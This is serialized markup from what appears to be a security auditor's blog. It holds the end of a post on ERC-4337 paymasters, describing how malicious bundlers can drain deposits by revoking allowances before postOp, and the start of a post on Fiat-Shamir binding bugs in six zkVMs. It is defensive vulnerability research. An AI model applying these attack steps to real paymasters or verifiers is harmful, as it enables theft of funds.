absoluteCostInToken\n",{"type":23,"tag":41,"props":107056,"children":107057},{"class":43,"line":9061},[107058],{"type":23,"tag":41,"props":107059,"children":107060},{"style":70},[107061],{"type":28,"value":7743},{"type":23,"tag":41,"props":107063,"children":107064},{"class":43,"line":9106},[107065],{"type":23,"tag":41,"props":107066,"children":107067},{"emptyLinePlaceholder":18},[107068],{"type":28,"value":82},{"type":23,"tag":41,"props":107070,"children":107071},{"class":43,"line":9212},[107072,107076,107081,107085,107090,107094,107099,107103,107108],{"type":23,"tag":41,"props":107073,"children":107074},{"style":94},[107075],{"type":28,"value":307},{"type":23,"tag":41,"props":107077,"children":107078},{"style":70},[107079],{"type":28,"value":107080}," preFundInToken ",{"type":23,"tag":41,"props":107082,"children":107083},{"style":170},[107084],{"type":28,"value":2381},{"type":23,"tag":41,"props":107086,"children":107087},{"style":70},[107088],{"type":28,"value":107089}," (ctx.preFund ",{"type":23,"tag":41,"props":107091,"children":107092},{"style":170},[107093],{"type":28,"value":377},{"type":23,"tag":41,"props":107095,"children":107096},{"style":70},[107097],{"type":28,"value":107098}," ctx.exchangeRate) ",{"type":23,"tag":41,"props":107100,"children":107101},{"style":170},[107102],{"type":28,"value":4579},{"type":23,"tag":41,"props":107104,"children":107105},{"style":164},[107106],{"type":28,"value":107107}," 1e18",{"type":23,"tag":41,"props":107109,"children":107110},{"style":70},[107111],{"type":28,"value":183},{"type":23,"tag":41,"props":107113,"children":107114},{"class":43,"line":23496},[107115],{"type":23,"tag":41,"props":107116,"children":107117},{"emptyLinePlaceholder":18},[107118],{"type":28,"value":82},{"type":23,"tag":41,"props":107120,"children":107121},{"class":43,"line":23531},[107122,107126,107131,107135,107139,107143,107147,107151,107155,107159,107163],{"type":23,"tag":41,"props":107123,"children":107124},{"style":58},[107125],{"type":28,"value":3272},{"type":23,"tag":41,"props":107127,"children":107128},{"style":70},[107129],{"type":28,"value":107130}," (ctx.recipient ",{"type":23,"tag":41,"props":107132,"children":107133},{"style":170},[107134],{"type":28,"value":15679},{"type":23,"tag":41,"props":107136,"children":107137},{"style":94},[107138],{"type":28,"value":6248},{"type":23,"tag":41,"props":107140,"children":107141},{"style":70},[107142],{"type":28,"value":1737},{"type":23,"tag":41,"props":107144,"children":107145},{"style":164},[107146],{"type":28,"value":4024},{"type":23,"tag":41,"props":107148,"children":107149},{"style":70},[107150],{"type":28,"value":866},{"type":23,"tag":41,"props":107152,"children":107153},{"style":170},[107154],{"type":28,"value":1751},{"type":23,"tag":41,"props":107156,"children":107157},{"style":70},[107158],{"type":28,"value":107080},{"type":23,"tag":41,"props":107160,"children":107161},{"style":170},[107162],{"type":28,"value":1022},{"type":23,"tag":41,"props":107164,"children":107165},{"style":70},[107166],{"type":28,"value":107167}," costInToken) {\n",{"type":23,"tag":41,"props":107169,"children":107170},{"class":43,"line":23539},[107171,107176,107180,107185,107189],{"type":23,"tag":41,"props":107172,"children":107173},{"style":70},[107174],{"type":28,"value":107175},"            SafeTransferLib.",{"type":23,"tag":41,"props":107177,"children":107178},{"style":114},[107179],{"type":28,"value":103356},{"type":23,"tag":41,"props":107181,"children":107182},{"style":70},[107183],{"type":28,"value":107184},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":41,"props":107186,"children":107187},{"style":170},[107188],{"type":28,"value":4329},{"type":23,"tag":41,"props":107190,"children":107191},{"style":70},[107192],{"type":28,"value":107193}," costInToken);\n",{"type":23,"tag":41,"props":107195,"children":107196},{"class":43,"line":23547},[107197],{"type":23,"tag":41,"props":107198,"children":107199},{"style":70},[107200],{"type":28,"value":3347},{"type":23,"tag":41,"props":107202,"children":107203},{"class":43,"line":23556},[107204],{"type":23,"tag":41,"props":107205,"children":107206},{"emptyLinePlaceholder":18},[107207],{"type":28,"value":82},{"type":23,"tag":41,"props":107209,"children":107210},{"class":43,"line":23598},[107211,107216,107220],{"type":23,"tag":41,"props":107212,"children":107213},{"style":58},[107214],{"type":28,"value":107215},"        emit",{"type":23,"tag":41,"props":107217,"children":107218},{"style":114},[107219],{"type":28,"value":104090},{"type":23,"tag":41,"props":107221,"children":107222},{"style":70},[107223],{"type":28,"value":107224},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":41,"props":107226,"children":107227},{"class":43,"line":23631},[107228],{"type":23,"tag":41,"props":107229,"children":107230},{"style":70},[107231],{"type":28,"value":192},{"type":23,"tag":24,"props":107233,"children":107234},{},[107235,107237,107242,107244,107250,107252,107258,107260,107265,107267,107272],{"type":28,"value":107236},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":37,"props":107238,"children":107240},{"className":107239},[],[107241],{"type":28,"value":103356},{"type":28,"value":107243},". Note that ",{"type":23,"tag":37,"props":107245,"children":107247},{"className":107246},[],[107248],{"type":28,"value":107249},"preFundCharged",{"type":28,"value":107251}," can be zero, as users can opt out of any ",{"type":23,"tag":37,"props":107253,"children":107255},{"className":107254},[],[107256],{"type":28,"value":107257},"preFund",{"type":28,"value":107259}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":37,"props":107261,"children":107263},{"className":107262},[],[107264],{"type":28,"value":104157},{"type":28,"value":107266}," call inside ",{"type":23,"tag":37,"props":107268,"children":107270},{"className":107269},[],[107271],{"type":28,"value":105241},{"type":28,"value":107273}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":24,"props":107275,"children":107276},{},[107277,107279,107284,107286,107292,107294,107300],{"type":28,"value":107278},"However, even when ",{"type":23,"tag":37,"props":107280,"children":107282},{"className":107281},[],[107283],{"type":28,"value":104157},{"type":28,"value":107285}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":23,"tag":37,"props":107287,"children":107289},{"className":107288},[],[107290],{"type":28,"value":107291},"requiredPrefund",{"type":28,"value":107293}," was taken from the paymaster's ",{"type":23,"tag":458,"props":107295,"children":107298},{"href":107296,"rel":107297},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[462],[107299],{"type":28,"value":61958},{"type":28,"value":706},{"type":23,"tag":24,"props":107302,"children":107303},{},[107304,107306,107311],{"type":28,"value":107305},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":37,"props":107307,"children":107309},{"className":107308},[],[107310],{"type":28,"value":104157},{"type":28,"value":107312}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":5436,"props":107314,"children":107315},{},[107316,107334,107353,107364,107369],{"type":23,"tag":421,"props":107317,"children":107318},{},[107319,107321,107326,107328],{"type":28,"value":107320},"The bundler creates a ",{"type":23,"tag":37,"props":107322,"children":107324},{"className":107323},[],[107325],{"type":28,"value":101900},{"type":28,"value":107327}," with an intentionally high ",{"type":23,"tag":37,"props":107329,"children":107331},{"className":107330},[],[107332],{"type":28,"value":107333},"gasPrice",{"type":23,"tag":421,"props":107335,"children":107336},{},[107337,107339,107344,107346,107351],{"type":28,"value":107338},"The bundler ensures the ",{"type":23,"tag":37,"props":107340,"children":107342},{"className":107341},[],[107343],{"type":28,"value":104157},{"type":28,"value":107345}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":37,"props":107347,"children":107349},{"className":107348},[],[107350],{"type":28,"value":104157},{"type":28,"value":107352}," executes",{"type":23,"tag":421,"props":107354,"children":107355},{},[107356,107357,107362],{"type":28,"value":63350},{"type":23,"tag":37,"props":107358,"children":107360},{"className":107359},[],[107361],{"type":28,"value":104157},{"type":28,"value":107363}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":421,"props":107365,"children":107366},{},[107367],{"type":28,"value":107368},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":421,"props":107370,"children":107371},{},[107372],{"type":28,"value":107373},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":24,"props":107375,"children":107376},{},[107377,107379,107384,107386,107391],{"type":28,"value":107378},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":37,"props":107380,"children":107382},{"className":107381},[],[107383],{"type":28,"value":101929},{"type":28,"value":107385}," designed to fail during ",{"type":23,"tag":37,"props":107387,"children":107389},{"className":107388},[],[107390],{"type":28,"value":104157},{"type":28,"value":107392}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":24,"props":107394,"children":107395},{},[107396,107398,107403,107405,107410,107412,107418,107420,107425],{"type":28,"value":107397},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":37,"props":107399,"children":107401},{"className":107400},[],[107402],{"type":28,"value":101900},{"type":28,"value":107404}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":37,"props":107406,"children":107408},{"className":107407},[],[107409],{"type":28,"value":101900},{"type":28,"value":107411}," is submitted via ",{"type":23,"tag":37,"props":107413,"children":107415},{"className":107414},[],[107416],{"type":28,"value":107417},"handleOps",{"type":28,"value":107419},". This means the ",{"type":23,"tag":37,"props":107421,"children":107423},{"className":107422},[],[107424],{"type":28,"value":104157},{"type":28,"value":107426}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":24,"props":107428,"children":107429},{},[107430],{"type":28,"value":107431},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":24,"props":107433,"children":107434},{},[107435],{"type":28,"value":107436},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":24,"props":107438,"children":107439},{},[107440],{"type":28,"value":107441},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":35367,"props":107443,"children":107444},{"id":2811},[107445],{"type":28,"value":2814},{"type":23,"tag":24,"props":107447,"children":107448},{},[107449],{"type":28,"value":107450},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":5436,"props":107452,"children":107453},{},[107454,107459,107464,107469,107474],{"type":23,"tag":421,"props":107455,"children":107456},{},[107457],{"type":28,"value":107458},"Always collect full payment during validation, not after execution",{"type":23,"tag":421,"props":107460,"children":107461},{},[107462],{"type":28,"value":107463},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":421,"props":107465,"children":107466},{},[107467],{"type":28,"value":107468},"Carefully validate all user inputs and token transfers",{"type":23,"tag":421,"props":107470,"children":107471},{},[107472],{"type":28,"value":107473},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":421,"props":107475,"children":107476},{},[107477,107479,107484],{"type":28,"value":107478},"Always review changes in new ",{"type":23,"tag":37,"props":107480,"children":107482},{"className":107481},[],[107483],{"type":28,"value":101981},{"type":28,"value":107485}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":24,"props":107487,"children":107488},{},[107489,107491,107496,107498,107503,107505,107510],{"type":28,"value":107490},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":23,"tag":37,"props":107492,"children":107494},{"className":107493},[],[107495],{"type":28,"value":101981},{"type":28,"value":107497}," contract's behavior could potentially break existing ",{"type":23,"tag":37,"props":107499,"children":107501},{"className":107500},[],[107502],{"type":28,"value":102053},{"type":28,"value":107504}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":37,"props":107506,"children":107508},{"className":107507},[],[107509],{"type":28,"value":101981},{"type":28,"value":107511}," versions.",{"type":23,"tag":24,"props":107513,"children":107514},{},[107515],{"type":28,"value":107516},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":24,"props":107518,"children":107519},{},[107520],{"type":28,"value":107521},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":2843,"props":107523,"children":107524},{},[107525],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":107527},[107528,107529,107530,107537,107542,107543],{"id":101815,"depth":54,"text":101818},{"id":101831,"depth":54,"text":101834},{"id":101870,"depth":54,"text":101873,"children":107531},[107532,107533,107534,107535,107536],{"id":101893,"depth":76,"text":101900},{"id":101934,"depth":76,"text":101937},{"id":101960,"depth":76,"text":101963},{"id":14715,"depth":76,"text":101981},{"id":102053,"depth":76,"text":102064},{"id":102116,"depth":54,"text":107538,"children":107539},"Understanding the EntryPoint's Flow",[107540,107541],{"id":102172,"depth":76,"text":102175},{"id":102357,"depth":76,"text":102360},{"id":102600,"depth":54,"text":102606},{"id":104200,"depth":54,"text":104206,"children":107544},[107545,107546],{"id":104260,"depth":76,"text":104263},{"id":104320,"depth":76,"text":104323},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":107551,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":107552,"description":107553,"date":107554,"author":107555,"image":107558,"isFeatured":18,"onBlogPage":18,"tags":107560,"body":107562,"_type":2864,"_id":123367,"_source":2866,"_file":123368,"_stem":123369,"_extension":2869},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[107556,107557],"himanshu","valter",{"src":107559,"width":96986,"height":13},"/posts/zkvms-unfaithful-claims/title.png",[107561],"zkVM",{"type":20,"children":107563,"toc":123331},[107564,107569,107611,107624,107627,107633,107638,107766,107769,107775,107781,107786,107818,107966,107971,108094,108105,108116,108139,108150,108155,108188,108196,108201,108204,108210,108215,108221,108226,108231,108239,108257,108398,108403,108409,108502,109236,109304,109315,109323,109797,109803,110242,110582,110735,110740,111628,111784,111790,111882,111887,112472,112922,112998,113004,113009,113078,113088,113104,113114,113175,113594,113626,113636,113811,113816,113826,114426,114614,114632,114635,114641,114646,114654,114686,115048,115053,115138,115141,115147,115155,115160,115163,115169,115174,115182,115190,115198,115206,115239,115247,115255,115346,115597,115924,115932,115962,116132,116458,116463,116468,116485,116488,116493,116498,116510,116522,117113,117125,117137,117144,117152,117164,117172,117187,117192,117472,117491,117586,117605,117621,117624,117630,117635,117640,117647,117655,117662,117670,117683,117701,118161,118263,118268,118273,118289,118292,118298,118303,118315,118326,118331,118721,118728,118736,118761,118781,119037,119048,119067,119451,119797,120027,120186,120346,120914,120919,120945,120948,120954,120959,120966,120974,120987,121059,121070,121078,121088,121096,121107,121381,121470,121499,121502,121507,121641,121653,121660,121665,121818,121844,121851,121859,121864,121930,121935,122325,122412,122428,122431,122437,122442,122448,122548,122607,122612,122618,122623,122631,122636,122642,122647,122652,122658,122663,122666,122672,122678,122683,122688,122693,122698,122703,122706,122712,122875,122880,122883,122888,122899,123216,123221,123245,123250,123268,123273,123276,123282,123287,123292,123302,123307,123317,123327],{"type":23,"tag":24,"props":107565,"children":107566},{},[107567],{"type":28,"value":107568},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":24,"props":107570,"children":107571},{},[107572,107574,107579,107580,107585,107586,107591,107592,107597,107598,107603,107604,107609],{"type":28,"value":107573},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":510,"props":107575,"children":107576},{},[107577],{"type":28,"value":107578},"Jolt",{"type":28,"value":970},{"type":23,"tag":510,"props":107581,"children":107582},{},[107583],{"type":28,"value":107584},"Nexus",{"type":28,"value":970},{"type":23,"tag":510,"props":107587,"children":107588},{},[107589],{"type":28,"value":107590},"Cairo-M",{"type":28,"value":970},{"type":23,"tag":510,"props":107593,"children":107594},{},[107595],{"type":28,"value":107596},"Ceno",{"type":28,"value":970},{"type":23,"tag":510,"props":107599,"children":107600},{},[107601],{"type":28,"value":107602},"Expander",{"type":28,"value":6486},{"type":23,"tag":510,"props":107605,"children":107606},{},[107607],{"type":28,"value":107608},"Binius64",{"type":28,"value":107610},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":24,"props":107612,"children":107613},{},[107614,107616,107622],{"type":28,"value":107615},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":458,"props":107617,"children":107619},{"href":107618},"#challenges",[107620],{"type":28,"value":107621},"Challenges",{"type":28,"value":107623}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":442,"props":107625,"children":107626},{},[],{"type":23,"tag":446,"props":107628,"children":107630},{"id":107629},"jargon-cheat-sheet",[107631],{"type":28,"value":107632},"Jargon Cheat Sheet",{"type":23,"tag":24,"props":107634,"children":107635},{},[107636],{"type":28,"value":107637},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":417,"props":107639,"children":107640},{},[107641,107651,107661,107671,107681,107691,107701,107711,107721,107731,107741,107751],{"type":23,"tag":421,"props":107642,"children":107643},{},[107644,107649],{"type":23,"tag":510,"props":107645,"children":107646},{},[107647],{"type":28,"value":107648},"Fiat-Shamir",{"type":28,"value":107650},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":421,"props":107652,"children":107653},{},[107654,107659],{"type":23,"tag":510,"props":107655,"children":107656},{},[107657],{"type":28,"value":107658},"Transcript",{"type":28,"value":107660},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":421,"props":107662,"children":107663},{},[107664,107669],{"type":23,"tag":510,"props":107665,"children":107666},{},[107667],{"type":28,"value":107668},"Polynomial Commitment",{"type":28,"value":107670},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":421,"props":107672,"children":107673},{},[107674,107679],{"type":23,"tag":510,"props":107675,"children":107676},{},[107677],{"type":28,"value":107678},"Sumcheck",{"type":28,"value":107680},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":421,"props":107682,"children":107683},{},[107684,107689],{"type":23,"tag":510,"props":107685,"children":107686},{},[107687],{"type":28,"value":107688},"MLE (Multilinear Extension)",{"type":28,"value":107690},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":421,"props":107692,"children":107693},{},[107694,107699],{"type":23,"tag":510,"props":107695,"children":107696},{},[107697],{"type":28,"value":107698},"Lookup / LogUp",{"type":28,"value":107700},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":421,"props":107702,"children":107703},{},[107704,107709],{"type":23,"tag":510,"props":107705,"children":107706},{},[107707],{"type":28,"value":107708},"AIR",{"type":28,"value":107710},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":421,"props":107712,"children":107713},{},[107714,107719],{"type":23,"tag":510,"props":107715,"children":107716},{},[107717],{"type":28,"value":107718},"STARK",{"type":28,"value":107720},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":421,"props":107722,"children":107723},{},[107724,107729],{"type":23,"tag":510,"props":107725,"children":107726},{},[107727],{"type":28,"value":107728},"FRI",{"type":28,"value":107730},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":421,"props":107732,"children":107733},{},[107734,107739],{"type":23,"tag":510,"props":107735,"children":107736},{},[107737],{"type":28,"value":107738},"OODS",{"type":28,"value":107740},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":421,"props":107742,"children":107743},{},[107744,107749],{"type":23,"tag":510,"props":107745,"children":107746},{},[107747],{"type":28,"value":107748},"GKR",{"type":28,"value":107750},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":421,"props":107752,"children":107753},{},[107754,107759,107761],{"type":23,"tag":510,"props":107755,"children":107756},{},[107757],{"type":28,"value":107758},"claimed_sum / opening_claim",{"type":28,"value":107760},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":510,"props":107762,"children":107763},{},[107764],{"type":28,"value":107765},"These are the usual suspects for binding bugs.",{"type":23,"tag":442,"props":107767,"children":107768},{},[],{"type":23,"tag":446,"props":107770,"children":107772},{"id":107771},"what-are-we-even-breaking",[107773],{"type":28,"value":107774},"What Are We Even Breaking?",{"type":23,"tag":546,"props":107776,"children":107778},{"id":107777},"what-is-a-zkvm",[107779],{"type":28,"value":107780},"What is a zkVM?",{"type":23,"tag":24,"props":107782,"children":107783},{},[107784],{"type":28,"value":107785},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":24,"props":107787,"children":107788},{},[107789,107791,107816],{"type":28,"value":107790},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":37,"props":107792,"children":107794},{"className":107793},[3984,3985],[107795],{"type":23,"tag":41,"props":107796,"children":107798},{"className":107797},[3990],[107799],{"type":23,"tag":41,"props":107800,"children":107802},{"className":107801,"ariaHidden":3996},[3995],[107803],{"type":23,"tag":41,"props":107804,"children":107806},{"className":107805},[4001],[107807,107811],{"type":23,"tag":41,"props":107808,"children":107810},{"className":107809,"style":21569},[4006],[],{"type":23,"tag":41,"props":107812,"children":107814},{"className":107813,"style":21575},[4012,21574],[107815],{"type":28,"value":1634},{"type":28,"value":107817}," such that:",{"type":23,"tag":24,"props":107819,"children":107820},{},[107821],{"type":23,"tag":37,"props":107822,"children":107824},{"className":107823},[3984,3985],[107825],{"type":23,"tag":41,"props":107826,"children":107828},{"className":107827},[3990],[107829],{"type":23,"tag":41,"props":107830,"children":107832},{"className":107831,"ariaHidden":3996},[3995],[107833,107877,107952],{"type":23,"tag":41,"props":107834,"children":107836},{"className":107835},[4001],[107837,107841,107847,107851,107856,107860,107864,107869,107873],{"type":23,"tag":41,"props":107838,"children":107840},{"className":107839,"style":92680},[4006],[],{"type":23,"tag":41,"props":107842,"children":107844},{"className":107843},[4012],[107845],{"type":28,"value":107846},"∃",{"type":23,"tag":41,"props":107848,"children":107850},{"className":107849,"style":4190},[4092],[],{"type":23,"tag":41,"props":107852,"children":107854},{"className":107853,"style":21575},[4012,21574],[107855],{"type":28,"value":1634},{"type":23,"tag":41,"props":107857,"children":107859},{"className":107858,"style":4190},[4092],[],{"type":23,"tag":41,"props":107861,"children":107863},{"className":107862,"style":4190},[4092],[],{"type":23,"tag":41,"props":107865,"children":107867},{"className":107866},[4195],[107868],{"type":28,"value":1474},{"type":23,"tag":41,"props":107870,"children":107872},{"className":107871,"style":4190},[4092],[],{"type":23,"tag":41,"props":107874,"children":107876},{"className":107875,"style":4190},[4092],[],{"type":23,"tag":41,"props":107878,"children":107880},{"className":107879},[4001],[107881,107885,107896,107901,107906,107911,107915,107920,107925,107929,107934,107939,107943,107948],{"type":23,"tag":41,"props":107882,"children":107884},{"className":107883,"style":4113},[4006],[],{"type":23,"tag":41,"props":107886,"children":107888},{"className":107887},[4012],[107889],{"type":23,"tag":41,"props":107890,"children":107893},{"className":107891},[4012,107892],"mathsf",[107894],{"type":28,"value":107895},"VM",{"type":23,"tag":41,"props":107897,"children":107899},{"className":107898},[21703],[107900],{"type":28,"value":1737},{"type":23,"tag":41,"props":107902,"children":107904},{"className":107903,"style":21575},[4012,21574],[107905],{"type":28,"value":21578},{"type":23,"tag":41,"props":107907,"children":107909},{"className":107908},[4124],[107910],{"type":28,"value":4127},{"type":23,"tag":41,"props":107912,"children":107914},{"className":107913,"style":4131},[4092],[],{"type":23,"tag":41,"props":107916,"children":107918},{"className":107917,"style":94785},[4012,21574],[107919],{"type":28,"value":6131},{"type":23,"tag":41,"props":107921,"children":107923},{"className":107922},[4124],[107924],{"type":28,"value":4127},{"type":23,"tag":41,"props":107926,"children":107928},{"className":107927,"style":4131},[4092],[],{"type":23,"tag":41,"props":107930,"children":107932},{"className":107931,"style":21575},[4012,21574],[107933],{"type":28,"value":1634},{"type":23,"tag":41,"props":107935,"children":107937},{"className":107936},[21725],[107938],{"type":28,"value":2678},{"type":23,"tag":41,"props":107940,"children":107942},{"className":107941,"style":4190},[4092],[],{"type":23,"tag":41,"props":107944,"children":107946},{"className":107945},[4195],[107947],{"type":28,"value":22320},{"type":23,"tag":41,"props":107949,"children":107951},{"className":107950,"style":4190},[4092],[],{"type":23,"tag":41,"props":107953,"children":107955},{"className":107954},[4001],[107956,107960],{"type":23,"tag":41,"props":107957,"children":107959},{"className":107958,"style":21569},[4006],[],{"type":23,"tag":41,"props":107961,"children":107964},{"className":107962,"style":107963},[4012,21574],"margin-right:0.22222em;",[107965],{"type":28,"value":6161},{"type":23,"tag":24,"props":107967,"children":107968},{},[107969],{"type":28,"value":107970},"where:",{"type":23,"tag":417,"props":107972,"children":107973},{},[107974,108004,108034,108064],{"type":23,"tag":421,"props":107975,"children":107976},{},[107977,108002],{"type":23,"tag":37,"props":107978,"children":107980},{"className":107979},[3984,3985],[107981],{"type":23,"tag":41,"props":107982,"children":107984},{"className":107983},[3990],[107985],{"type":23,"tag":41,"props":107986,"children":107988},{"className":107987,"ariaHidden":3996},[3995],[107989],{"type":23,"tag":41,"props":107990,"children":107992},{"className":107991},[4001],[107993,107997],{"type":23,"tag":41,"props":107994,"children":107996},{"className":107995,"style":21569},[4006],[],{"type":23,"tag":41,"props":107998,"children":108000},{"className":107999,"style":21575},[4012,21574],[108001],{"type":28,"value":21578},{"type":28,"value":108003}," = program/circuit description (public)",{"type":23,"tag":421,"props":108005,"children":108006},{},[108007,108032],{"type":23,"tag":37,"props":108008,"children":108010},{"className":108009},[3984,3985],[108011],{"type":23,"tag":41,"props":108012,"children":108014},{"className":108013},[3990],[108015],{"type":23,"tag":41,"props":108016,"children":108018},{"className":108017,"ariaHidden":3996},[3995],[108019],{"type":23,"tag":41,"props":108020,"children":108022},{"className":108021},[4001],[108023,108027],{"type":23,"tag":41,"props":108024,"children":108026},{"className":108025,"style":21569},[4006],[],{"type":23,"tag":41,"props":108028,"children":108030},{"className":108029,"style":94785},[4012,21574],[108031],{"type":28,"value":6131},{"type":28,"value":108033}," = public input",{"type":23,"tag":421,"props":108035,"children":108036},{},[108037,108062],{"type":23,"tag":37,"props":108038,"children":108040},{"className":108039},[3984,3985],[108041],{"type":23,"tag":41,"props":108042,"children":108044},{"className":108043},[3990],[108045],{"type":23,"tag":41,"props":108046,"children":108048},{"className":108047,"ariaHidden":3996},[3995],[108049],{"type":23,"tag":41,"props":108050,"children":108052},{"className":108051},[4001],[108053,108057],{"type":23,"tag":41,"props":108054,"children":108056},{"className":108055,"style":21569},[4006],[],{"type":23,"tag":41,"props":108058,"children":108060},{"className":108059,"style":107963},[4012,21574],[108061],{"type":28,"value":6161},{"type":28,"value":108063}," = claimed public output",{"type":23,"tag":421,"props":108065,"children":108066},{},[108067,108092],{"type":23,"tag":37,"props":108068,"children":108070},{"className":108069},[3984,3985],[108071],{"type":23,"tag":41,"props":108072,"children":108074},{"className":108073},[3990],[108075],{"type":23,"tag":41,"props":108076,"children":108078},{"className":108077,"ariaHidden":3996},[3995],[108079],{"type":23,"tag":41,"props":108080,"children":108082},{"className":108081},[4001],[108083,108087],{"type":23,"tag":41,"props":108084,"children":108086},{"className":108085,"style":21569},[4006],[],{"type":23,"tag":41,"props":108088,"children":108090},{"className":108089,"style":21575},[4012,21574],[108091],{"type":28,"value":1634},{"type":28,"value":108093}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":24,"props":108095,"children":108096},{},[108097,108099,108103],{"type":28,"value":108098},"The verifier does ",{"type":23,"tag":510,"props":108100,"children":108101},{},[108102],{"type":28,"value":18477},{"type":28,"value":108104}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":24,"props":108106,"children":108107},{},[108108,108110,108115],{"type":28,"value":108109},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":510,"props":108111,"children":108112},{},[108113],{"type":28,"value":108114},"soundness",{"type":28,"value":1474},{"type":23,"tag":417,"props":108117,"children":108118},{},[108119,108129],{"type":23,"tag":421,"props":108120,"children":108121},{},[108122,108127],{"type":23,"tag":510,"props":108123,"children":108124},{},[108125],{"type":28,"value":108126},"Completeness",{"type":28,"value":108128},": honest execution 